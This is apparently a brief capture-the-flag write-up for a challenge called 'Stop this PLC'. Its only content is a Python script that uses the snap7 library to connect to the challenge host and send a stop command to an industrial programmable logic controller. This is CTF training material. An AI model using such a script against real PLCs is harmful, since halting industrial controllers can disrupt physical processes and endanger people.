Stop this PLC
Challenge
Solution
import socket
import snap7
HOST = 'challenges.challenge-ecw.eu'
PORT = 35004
IP = socket.gethostbyname(HOST)
client = snap7.client.Client()
client.connect(IP, 0, 0, PORT)
client.plc_stop()
Mis à jour